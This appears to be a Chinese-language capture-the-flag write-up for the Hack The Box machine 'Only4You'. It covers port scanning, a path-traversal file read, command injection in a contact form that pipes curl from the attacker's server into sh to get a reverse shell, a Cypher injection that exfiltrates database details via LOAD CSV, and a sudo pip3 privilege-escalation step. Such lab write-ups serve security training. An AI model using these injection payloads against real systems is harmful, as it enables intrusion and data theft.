$ sudo nmap -p- --min-rate=10000 10.10.11.210 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-24 01:40 EDT Nmap scan report for only4you.htb (10.10.11.210) Host is up (0.079s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 7.29 seconds
$ sudo nmap -sT -sV -sC -O -p22,80 10.10.11.210 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-24 01:42 EDT Nmap scan report for only4you.htb (10.10.11.210) Host is up (0.074s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 e8:83:e0:a9:fd:43:df:38:19:8a:aa:35:43:84:11:ec (RSA) | 256 83:f2:35:22:9b:03:86:0c:16:cf:b3:fa:9f:5a:cd:08 (ECDSA) |_ 256 44:5f:7a:a3:77:69:0a:77:78:9b:04:e0:9f:11:db:80 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Only4you |_http-server-header: nginx/1.18.0 (Ubuntu) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.15 seconds
$ sudo nmap --script=vuln 10.10.11.210 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-24 01:42 EDT Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable). Nmap scan report for only4you.htb (10.10.11.210) Host is up (0.076s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http | http-fileupload-exploiter: | |_ Couldn't find a file-type field. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=only4you.htb | Found the following possible CSRF vulnerabilities: | | Path: http://only4you.htb:80/ | Form id: name |_ Form action: / |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
Nmap done: 1 IP address (1 host up) scanned in 233.63 seconds
看了22和80，那就80吧。
nikto
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
$ sudo nikto -h 10.10.11.210 - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 10.10.11.210 + Target Hostname: 10.10.11.210 + Target Port: 80 + Start Time: 2023-07-24 01:43:02 (GMT-4) --------------------------------------------------------------------------- + Server: nginx/1.18.0 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + Root page / redirects to: http://only4you.htb/ + No CGI Directories found (use '-C all' to force check all possible dirs) + nginx/1.18.0 appears to be outdated (current is at least 1.20.1). + 8074 requests: 0 error(s) and 3 item(s) reported on remote host + End Time: 2023-07-24 01:53:38 (GMT-4) (636 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
表面上代码posixpath.normpath(image)来规范化路径，避免路径遍历，也用了if '..' in filename or filename.startswith('../')来避免路径遍历。第一次有了posixpath.normpath和..匹配，本来是两件很美好的事情，加在一起为什么会变成这样。实际上，posixpath.normpath把这变成马奇诺防线了，我们可以写个脚本测试一下。
status = sendmessage(email, subject, message, ip) if status == 0: flash('Something went wrong!', 'danger') elif status == 1: flash('You are not authorized!', 'danger') else: flash('Your message was successfuly sent! We will reply as soon as possible.', 'success') return redirect('/#contact') else: return render_template('index.html')
$ curl http://beta.only4you.htb/download --data "image=/var/www/only4you.htb/form.py" import smtplib, re from email.message import EmailMessage from subprocess import PIPE, run import ipaddress
def issecure(email, ip): if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email): return 0 else: domain = email.split("@", 1)[1] result = run([f"dig txt {domain}"], shell=True, stdout=PIPE) output = result.stdout.decode('utf-8') if"v=spf1" not in output: return 1 else: domains = [] ips = [] if"include:"in output: dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:") dms.pop(0) for domain in dms: domains.append(domain) while True: for domain in domains: result = run([f"dig txt {domain}"], shell=True, stdout=PIPE) output = result.stdout.decode('utf-8') if"include:"in output: dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:") domains.clear() for domain in dms: domains.append(domain) elif"ip4:"in output: ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:") ipaddresses.pop(0) for i in ipaddresses: ips.append(i) else: pass break elif"ip4"in output: ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:") ipaddresses.pop(0) for i in ipaddresses: ips.append(i) else: return 1 for i in ips: if ip == i: return 2 elif ipaddress.ip_address(ip) in ipaddress.ip_network(i): return 2 else: return 1
def sendmessage(email, subject, message, ip): status = issecure(email, ip) if status == 2: msg = EmailMessage() msg['From'] = f'{email}' msg['To'] = 'info@only4you.htb' msg['Subject'] = f'{subject}' msg['Message'] = f'{message}'
smtp = smtplib.SMTP(host='localhost', port=25) smtp.send_message(msg) smtp.quit() return status elif status == 1: return status else: return status
我们先尝试了最喜欢bash -i以及nc，但是就算url编码了还是不能成功get shell，估计和&这些符号有关，但是我们其实还可以用curl来反弹shell。我们先写好shell.sh，再在本地用python开一个简单的http server 。
1 2 3 4 5 6
$ curl http://only4you.htb/ --data "name=111&email=1%401.com;curl <HTB_VPN_IP>:8888/shell.sh | sh&subject=111&message=111" <!doctype html> <html lang=en> <title>Redirecting...</title> <h1>Redirecting...</h1> <p>You should be redirected automatically to the target URL: <a href="/#contact">/#contact</a>. If not, click the link.
$ sudo nc -nlvp 4444 listening on [any] 4444 ... connect to [<HTB_VPN_IP>] from (UNKNOWN) [10.10.11.210] 47256 bash: cannot set terminal process group (1013): Inappropriate ioctl for device bash: no job control in this shell www-data@only4you:~/only4you.htb$
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://<HTB_VPN_IP>:7777/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
System information as of Mon 24 Jul 2023 12:18:20 PM UTC
System load: 0.06 Processes: 239 Usage of /: 84.7% of 6.23GB Users logged in: 0 Memory usage: 48% IPv4 address for eth0: 10.10.11.210 Swap usage: 0%
* Introducing Expanded Security Maintenance for Applications. Receive updates to over 25,000 software packages with your Ubuntu Pro subscription. Free for personal use.
https://ubuntu.com/pro
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
john@only4you:~$
john的home目录就能拿到user flag。
提权到root
1 2 3 4 5 6
john@only4you:~$ sudo -l Matching Defaults entries for john on only4you: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on only4you: (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
john@only4you:/tmp$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/raw/master/exp-0.0.1.tar.gz Collecting http://127.0.0.1:3000/john/Test/raw/master/exp-0.0.1.tar.gz ERROR: HTTP error 404 while getting http://127.0.0.1:3000/john/Test/raw/master/exp-0.0.1.tar.gz ERROR: Could not install requirement http://127.0.0.1:3000/john/Test/raw/master/exp-0.0.1.tar.gz because of error 404 Client Error: Not Found for url: http://127.0.0.1:3000/john/Test/raw/master/exp-0.0.1.tar.gz ERROR: Could not install requirement http://127.0.0.1:3000/john/Test/raw/master/exp-0.0.1.tar.gz because of HTTP error 404 Client Error: Not Found for url: http://127.0.0.1:3000/john/Test/raw/master/exp-0.0.1.tar.gz for URL http://127.0.0.1:3000/john/Test/raw/master/exp-0.0.1.tar.gz
